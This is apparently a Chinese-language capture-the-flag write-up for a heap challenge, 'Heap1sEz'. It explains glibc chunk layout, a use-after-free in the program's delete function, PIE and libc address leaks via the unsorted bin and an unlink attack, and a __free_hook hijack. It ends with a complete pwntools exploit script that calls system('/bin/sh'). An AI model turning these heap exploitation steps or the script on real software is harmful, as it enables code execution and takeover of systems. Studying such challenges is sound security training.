Heap1sEz - 堆漏洞的简单利用

堆的内部结构

在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

关于堆的结构很重要的一点在于,其使用和 free 状态下的结构一致,只是相应功能有区别。例如使用时 fd 段用于存储数据,可以通过某些方法把不合法的数据写入一个 free chunk 的 fd 中。

程序分析

checksec

程序开启了 PIE 保护

程序运行

源码分析

程序主要由 gift , add , edit , show , delete 几个函数构成。其中 gift 函数直接让我们可以进行 __free_hook 劫持。

1
2
3
4
5
void gift(){
printf("give me a hook\n");
if (scanf("%p", &hook) <= 0)
_exit(1);
}

因此考虑通过 __free_hook 劫持执行 system('/bin/sh') 得到 shell。

delete 函数中给定内存块被释放,但是对应的指针没有被设置为 NULL,存在 Use After Free 漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void delete() {
unsigned int index;

printf("Index: ");
scanf("%u", &index);
if (index >= 16) {
printf("There are only 16 pages in this notebook.\n");
return;
}

if (notes[index] == NULL) {
printf("Page not found.\n");
return;
}

free(notes[index]); //没有置空
return;
}

攻击流程

泄露程序基址

由于程序打开了 PIE,导致程序运行时加载基址不确定。但是由于程序中的偏移仍然不变,我们首先需要泄露程序中 .text , .data 或者 .bss 中的地址来计算程序基址。这里选择 main_arena 进行泄露,因为通过 Unsorted Bin 的机制会很容易得到。

申请两个大小为 8 的 chunk,分别为 1、2, 然后释放后放入 Unsorted Bin。这里 chunk1 的 fd 就会指向某个与 main_arena 有关的地址。经过动态调试得知, 它指向 &main_arena - 0x08

不过目前我还不明白,为什么只有一个 chunk 的时候无法泄露出地址,可能是只有一个 chunk 的时候只需要在 main_arena.bins 中存储相关指针即可。

泄露 libc 基址

得到程序基址后,为了得到 system 函数的地址,还需要获得 libc 基址。而程序中唯一可利用的输出函数位于 show 函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void show() {
unsigned int index;

printf("Index: ");
scanf("%u", &index);
if (index >= 16) {
printf("There are only 16 pages in this notebook.\n");
return;
}

if (notes[index] == NULL) {
printf("Page not found.\n");
return;
}

puts(notes[index]); //可以利用

return;
}

我们需要尝试将 notes[index] 修改为一个 got 表中的值,例如 read@got[plt]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unlink_chunk (mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

//if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
//malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
}
  • FD=P->fd = target addr - 0x18
  • BK=P->bk = expect value
  • FD->bk = BK,即 *(target addr- 0x18+ 0x18)=BK=expect value
  • BK->fd = FD,即 *(expect value +0x10) = FD = target addr- 0x18

在 64 位程序里,chunk 每个字段占 8 个字节。

由于程序中存在 UAF 漏洞,只需要申请两个 chunk,大小为 16(或者更大)。删除 chunk1 后编辑 chunk1 覆盖 fd, bk 的值,随后删除 chunk2。此时会发生前向合并,执行 unlink 相关代码。

不过这里在测试时发生了段错误,如下图:

后来发现是因为 got 表中 <read@got[plt]+0x10> 的值被修改了,而这个位置恰好存储 __printf_chk 函数的地址,导致程序意外跳转到了一个不可执行的位置。所以尝试泄露其他 libc 函数的地址,并且在它后 0x10 处的函数不会在后面的攻击过程中执行。

.got

执行 system('/bin/sh')

传参

观察 __free_hook 相关的代码,可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void delete() {
//...
free(notes[index]);
return;
}
void free(void *mem)
{
mchunkptr p; /* chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem);
return;
}
//...

只需要将 mem 对应的位置修改为 '/bin/sh' 即可,而使用程序中自带的 edit 功能就能实现。

__free_hook 劫持

这题直接提供了后门函数 gift 用于修改 &hook 上的值。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
libc = ELF("./libc.so.6")
p = process("./vuln")
#p = remote("182.202.178.28",31639)
#gdb.attach(p)
def add(index,size):
p.sendline(b"1")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Size: ",str(size))
def dele(index):
p.sendline(b"2")
p.sendlineafter("Index:",str(index))
def edit(index,content):
p.sendline(b"3")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Content: ",content)
def show(index):
p.sendline(b"4")
p.sendlineafter("Index:",str(index))
add(2,8)
add(3,8)
dele(2)
dele(3)
show(2)
bss_addr = u64(p.recvuntil('\x0a\x77\x65',drop=True)[-6:].ljust(8, b'\x00'))
elfbase = bss_addr + 0x8 - 0x3810
print("bss:",hex(bss_addr))
note = elfbase + 0x3880
puts = elfbase + 0x3768
add(0,16)
add(1,16)
dele(0)
edit(0,p64(note-0x18)+p64(puts))
dele(1)
show(0)
puts_addr = u64(p.recvuntil('\x0a\x77\x65',drop=True)[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
sys_addr = libc_base + libc.sym["system"]
add(6,8)
edit(6,b"/bin/sh")
p.sendline(b"6")
p.sendlineafter(b"give me a hook\n",hex(sys_addr))
dele(6)
p.interactive()